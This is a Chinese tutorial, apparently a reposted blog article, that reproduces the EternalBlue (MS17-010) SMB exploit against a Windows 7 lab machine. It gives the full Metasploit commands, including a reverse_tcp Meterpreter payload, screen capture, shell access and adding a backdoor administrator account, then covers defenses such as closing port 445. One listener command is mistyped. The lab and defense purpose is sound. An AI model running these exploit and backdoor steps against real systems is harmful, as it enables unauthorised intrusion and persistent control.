EternalBlue【永恒之蓝】漏洞详解(复现、演示、远程、后门、入侵、防御)内容丰富-深入剖析漏洞原理-漏洞成因-以及报错解决方法-值得收藏!

news2025/2/3 15:27:56

漏洞背景:

1.何为永恒之蓝?
永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,使全世界大范围内遭受了该勒索病毒,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。不过在该病毒出来不久就被微软通过打补丁修复。

2.什么是SMB协议?
SMB(全称是Server Message Block)是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP139端口和TCP445端口。

3. SMB工作原理是什么?

  • 首先客户端发送一个SMB negport 请求数据报,,并列出它所支持的所有SMB的协议版本。服务器收到请求消息后响应请求,并列出希望使用的SMB协议版本。如果没有可以使用的协议版本则返回0XFFFFH,结束通信。
  • 协议确定后,客户端进程向服务器发起一个用户或共享的认证,这个过程是通过发送SessetupX请求数据包实现的。客户端发送一对用户名和密码或一个简单密码到服务器,然后通过服务器发送一个SessetupX应答数据包来允许或拒绝本次连接。
  • 当客户端和服务器完成了磋商和认证之后,它会发送一个Tcon或TconX SMB数据报并列出它想访问的网络资源的名称,之后会发送一个TconX应答数据报以表示此次连接是否接收或拒绝。
  • 连接到相应资源后,SMB客户端就能够通过open SMB打开一个文件,通过read SMB读取文件,通过write SMB写入文件,通过close SMB关闭文件。

准备工作:

虚拟机:VMware
靶机(rhost):Windows7 (IP:192.168.244.133)
攻击机(lhost):Kali (IP:192.168.244.136)
所需工具:nmap、metasploit(MSF) 【工具均在Kali系统内】

漏洞复现过程:

主机发现

关闭防火墙和杀软

靶机关闭防火墙杀软等一切防御信息 否则nmap扫描不到

防火墙关闭路径
控制面板->系统和安全->Windows 防火墙

image.png

查看攻击机与靶机IP信息

查看攻击机与靶机的IP信息
攻击机:终端模拟器->ifconfig
靶机:win->cmd->ipconfig

image.png
image.png

进行Ping通测试

进行ping通测试
Kali使用CTRL+C快捷键进行终止命令进行

image.png
image.png

和上面两张图片一样结果的都表示Ping通成功

扫描存活主机以及开放端口

使用nmap扫描工具对目标机网段进行存活主机扫描以及靶机的445端口是否开放

image.png
image.png

可以看出目标机存活并且445端口为开放状态

入侵过程

开启postgresql数据库服务

以下命令均在Kali攻击机root终端进行!

开启

service postgresql start

查看是否开启

service postgresql status
image.png

此状态表示开启成功

初始化metasploit postgresql数据库

初始化

msfdb init
image.png

此状态表示初始化成功

启动MSF框架

Kali root终端输入

msfconsole
image.png

此状态表示进入MSF框架成功

利用探测漏洞模块

db_status #查看是否进入MSF攻击服务
search ms17_010 #查找探测模块
use auxiliary/scanner/smb/smb_ms17_010 #利用探测模块
show options #查看配置参数
set rhost 192.168.244.133/32 #设置探测主机段
set threads 20 #设置探测线程
run/exploit #执行探测

image.png
image.png

探测出likely表示可能存在漏洞!

利用永恒之蓝模块

use exploit/windows/smb/ms17_010_eternalblue #利用ms17_010永恒之蓝漏洞
set rhost 192.168.244.133 #设置攻击目标IP
set payload windows/x64/meterpreter/reverse_tcp #设置攻击载荷(木马信息)
set lhost 192.168.244.136 #设置监听主机IP
set lpost 445 #设置监听端口
run/exploit #执行攻击

image.png

运行成功后会出现meterpreter>
Meterpreter俗称"黑客瑞士军刀"

想要深入了解可以看以下内容

Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功后的攻击载荷使用。它可以在触发漏洞后返回一个由攻击者控制的通道,以便远程执行命令。

Meterpreter的功能丰富,例如添加用户、隐藏某些内容、打开shell、获取用户密码、上传和下载远程主机的文件、运行cmd.exe、捕捉屏幕、获取远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等。此外,Meterpreter可以躲避入侵检测系统,在远程主机上隐藏自己,不改变系统硬盘中的文件,因此HIDS(基于主机的入侵检测系统)很难对它做出响应。

Meterpreter还可以简化任务创建多个会话,利用这些会话进行渗透。在Metasploit Framework中,Meterpreter是一种后渗透工具,它属于一种在运行过程中可通过网络进行功能扩展的动态可扩展型Payload。这种工具是基于“内存DLL注入”理念实现的,它能够通过创建一个新进程并调用注入的DLL来让目标系统运行注入的DLL文件。其中,攻击者与目标设备中Meterpreter的通信是通过Stager套接字实现的。

Meterpreter作为后渗透模块有多种类型,并且命令由核心命令和扩展库命令组成,极大的丰富了攻击方式。此外,Meterpreter还支持Ruby脚本形式的扩展。

远程查看靶机信息和捕捉屏幕

sysinfo #查看靶机系统信息
getuid #查看靶机用户身份
screenshot #对靶机当前屏幕进行截图

image.png

需要注意的是最后一部屏幕截图保存到了根目录下
根目录下受权限保护可能查看不了图片
解决方法有两种改权限或者复制到桌面上 在这里讲的是第二种方法

cp EoiLSMEC.jpeg '/home/kali/桌面/flag1.png'
image.png
image.png
image.png

进入靶机控制台

shell #进入靶机cmd终端
image.png

成功进入靶机C:\Windows\system32路径下

对靶机进行后门植入

#创建新管理员用户
net user baimao 123 /add
#将baimao用户加入到本地管理员组当中
net localgroup administrators baimao /add
#查看本地管理员组当中的用户成员
net localgroup administrators
#查看此路径下的所有文件和目录
dir

image.png

与图片中信息相同就代表后门植入成功
exit可以退回meterpreter路径下

查看靶机当前用户

whoami
image.png

创建文件夹

mkdir baimao

image.png
image.png

exit可以退出MSF框架

如何防御

开启防火墙

防火墙开启路径
控制面板->系统和安全->Windows 防火墙

image.pngimage.png
image.png

禁用靶机139和445端口

查看靶机445端口是否开启

netstat -ant
image.png

可以看到445端口是开启状态

禁用靶机445端口路径
控制面板->系统和安全->Windows 防火墙

image.png
image.png
image.png
image.png
image.png
image.png
image.png
image.png

禁用server服务

win+r 运行
输入services.msc

image.png

关闭不必要的服务

关闭服务路径
控制面板->系统和安全->Windows 防火墙

image.png
image.png

根据需要可以选择关闭与否

注册表关闭445端口

win+r 运行
输入regedit进入注册表

找到此注册表路径
根据自己系统位数进行修改64位就选择QWORD
HKEY_LOCAL_MACHINE\System\Controlset\Services\NetBT\Parameters

image.png

重命名为SMBDeviceEnabled

image.png

右键->修改->数值数据的值为0(0代表关闭,1代表打开),点击确定,完成设置 。

image.png

重启之后查看445端口是否关闭!

可以看到445端口已经不见了!

安装杀毒软件

360安全卫士与火绒安全软件成功阻止了永恒之蓝!

大家想要了解的,可以参考下!
360安全卫士和火绒安全软件都是知名的电脑安全软件,具有多种防护功能。
360安全卫士是一款全面而高效的电脑安全防护软件,它拥有强大的查杀能力,可以检测和清除电脑中的病毒、木马、恶意程序等安全隐患。同时,它还提供了多种实用的功能,如实时监控、木马查杀、漏洞修复等,可以帮助用户保护电脑安全,提高使用体验。
火绒安全软件则是一款以防护为主打功能的电脑安全软件,它拥有自主知识产权的新一代反病毒引擎,能够检测和分析恶意程序,提供全面的防护功能。此外,火绒安全软件还拥有钩子扫描功能,可以快速扫描指定进程,发现潜在的安全风险。

最后总结

2017年永恒之蓝漏洞,编号为ms17_010漏洞。
现在只有一些低版本的电脑没有打ms17_010的补丁,windows7 以上版本几乎都没有这个漏洞了。
虽然如此,此漏洞非常经典,现如今仍有很大的学习漏洞原理以及深入研究防御策略都有很大的借鉴和学习研究的意义。
让大家可以对网络安全更加重视,网络安全刻不容缓,让我们为国家网络安全的建设共同努力!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1337416.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

JavaScript基础练习题解析与实践

如果大家感感兴趣也可以去看: 🎉博客主页:阿猫的故乡 🎉系列专栏:JavaScript专题栏 🎉ajax专栏:ajax知识点 🎉欢迎关注:👍点赞🙌收藏✍️留言 学习…

HarmonyOS4.0系统性深入开发04UIAbility组件详解(下)

UIAbility组件间交互(设备内) UIAbility是系统调度的最小单元。在设备内的功能模块之间跳转时,会涉及到启动特定的UIAbility,该UIAbility可以是应用内的其他UIAbility,也可以是其他应用的UIAbility(例如启…

LSTM的记忆能力实验 [HBU]

目录 模型构建 LSTM层 模型训练 多组训练 模型评价 模型在不同长度的数据集上的准确率变化图 模型汇总 总结 长短期记忆网络(Long Short-Term Memory Network,LSTM)是一种可以有效缓解长程依赖问题的循环神经网络.LSTM 的…

Text-to-SQL小白入门(十)RLHF在Text2SQL领域的探索实践

本文内容主要基于以下开源项目探索实践, Awesome-Text2SQL:GitHub - eosphoros-ai/Awesome-Text2SQL: Curated tutorials and resources for Large Language Models, Text2SQL, Text2DSL、Text2API、Text2Vis and more.DB-GPT-Hub:GitHub - eosphoros-ai…

【QML-按钮】

QML编程指南 VX:hao541022348 ■ 按钮■ AbstractButton■ Button■ CheckBox■ DelayButton■ RadioButton■ RoundButton🌟■ Switch🌟■ ToolButton🌟 ■ 按钮 ■ AbstractButton 所有的按钮控件的父类都是 AbstractButton 。…

Electron自定义通知Notification

Notification是什么? 对于渲染进程,Electron 允许开发者使用通知中API,来运行系统的原生通知进行显示。 如何实现系统Notification? const { Notification } require(electron);const isAllowed Notification.isSupported();…

市场复盘总结 20231226

仅用于记录当天的市场情况,用于统计交易策略的适用情况,以便程序回测 短线核心:不参与任何级别的调整 昨日回顾: SELECT CODE,成交额排名,净流入排名,代码,名称,DDE大单金额,涨幅,主力净额,DDE大单净量,CONVERT(DATETIME, 最后封…

概率论1:下象棋问题(3.5)

每日小语 时刻望着他人的眼色行事,是腾飞不了的。自己怎么想就积极地去做,这是需要胆量的。——广中平佑 题目 甲、乙二人下象棋, 每局甲胜的概率为a,乙胜的概率为b. 为简化问题,设没有和局的情况,这意味着a b1. 设想…

Flappy Bird游戏python完整源码

通过pygame实现当年风靡一时的flappy bird小游戏。 当前只设定了同样长度的管道,图片和声音文件自行导入。 效果如下: # -*- coding:utf-8 -*- """ 通过pygame实现曾风靡一时的flappybird游戏。 小鸟x坐标不变,画布左移实现…

分享5款对工作有帮助的小工具

​ 在职场中,简单而高效的工具是我们事业成功的一部分。这五款工具可能会成为你职业生涯中的得力助手。 1.图片标注——iPhotoDraw ​ iPhotoDraw是一款图片标注软件,可以在图片上添加文字、符号、尺寸、放大细节等注释对象,增加图片的信息…

〖Python网络爬虫实战㊹〗- JavaScript Hook 的用法

订阅:新手可以订阅我的其他专栏。免费阶段订阅量1000 python项目实战 Python编程基础教程系列(零基础小白搬砖逆袭) 说明:本专栏持续更新中,订阅本专栏前必读关于专栏〖Python网络爬虫实战〗转为付费专栏的订阅说明作者&#xff1…

SQL server 数据库练习题及答案(练习2)

使用你的名字创建一个数据库 创建表: 数据库中有三张表,分别为student,course,SC(即学生表,课程表,选课表) 问题: --1.分别查询学生表和学生修课表中的全部数据。--2.查询成绩在70到80分之间…

文件操作(c)

1.文件分类:分为程序文件和数据文件 1.程序文件:源程序文件(后缀.c),目标文件(windows环境后缀.obj),可执行程序(windows环境后缀.exe) 2.数据文件:程序运行时读写的数据…

【MySQL】复合查询 | 内外连接

文章目录 一、MySQL复合查询基本查询回顾多表查询自连接子查询单行子查询多行子查询多列子查询在from子句中使用子查询合并查询 二、MySQL内外连接内连接外连接左外连接右外连接 一、MySQL复合查询 基本查询回顾 准备测试表 下面给出三张表,员工表(emp&…

多重断言插件之pytest-assume的简单使用

背景: pytest-assume是Pytest框架的一个扩展,它允许在单个测试用例中多次断言。通常情况下,当一个断言失败时,测试会立即停止执行,而pytest-assume允许我 们继续执行剩余的断言,以便查看更多的失败信息。…

k8s集群通过helm部署skywalking

1、安装helm 下载脚本安装 ~# curl -fsSL -o get_helm.sh https://raw.githubusercontent.com/helm/helm/master/scripts/get-helm-3 ~# chmod 700 get_helm.sh ~# ./get_helm.sh或者下载包进行安装 ~# wget https://get.helm.sh/helm-canary-linux-amd64.tar.gz ~# mv helm …

使用 Jekyll 构建你的网站 - 初入门

文章目录 一、Jekyll介绍二、Jekyll安装和启动2.1 配置Ruby环境1)Windows2)macOS 2.2 安装 Jekyll2.3 构建Jekyll项目2.4 启动 Jekyll 服务 三、Jekyll常用命令四、目录结构4.1 主要目录4.2 其他的约定目录 五、使用GitLink构建Jekyll博客5.1 生成Jekyll…

JAVA:JDK17新特性迈向更强大的编程体验

1、简述 随着技术的不断发展,Java语言也在不断演进,为开发者提供更强大、高效的编程体验。在JDK 17中,我们迎来了一系列引人注目的新特性,这些特性不仅使得Java更现代化,同时也进一步提升了开发效率和代码质量。本文将…

CleanMyMac X2024免费许可证及功能详细讲解

一些用户反映自己的CleanMyMac卸载不干净?你的卸载方式正确码?当你在Mac上安装使用CleanMyMac后,需要将软件卸载,你会使用怎样方法完成操作呢?小编今天主要讲解如何卸载CleanMyMac以及卸载这款软件时应该注意的事项。一…

OpenGL :LearnOpenGL笔记

glfw https://github.com/JoeyDeVries/LearnOpenGL/blob/master/src/1.getting_started/1.1.hello_window/hello_window.cpp #include <glad/glad.h>// 注: GLAD的include文件包含所需的OpenGL头文件(如GL/GL.h) &#xff0c;因此确保在其他需要OpenGL的头文件 (如GLFW…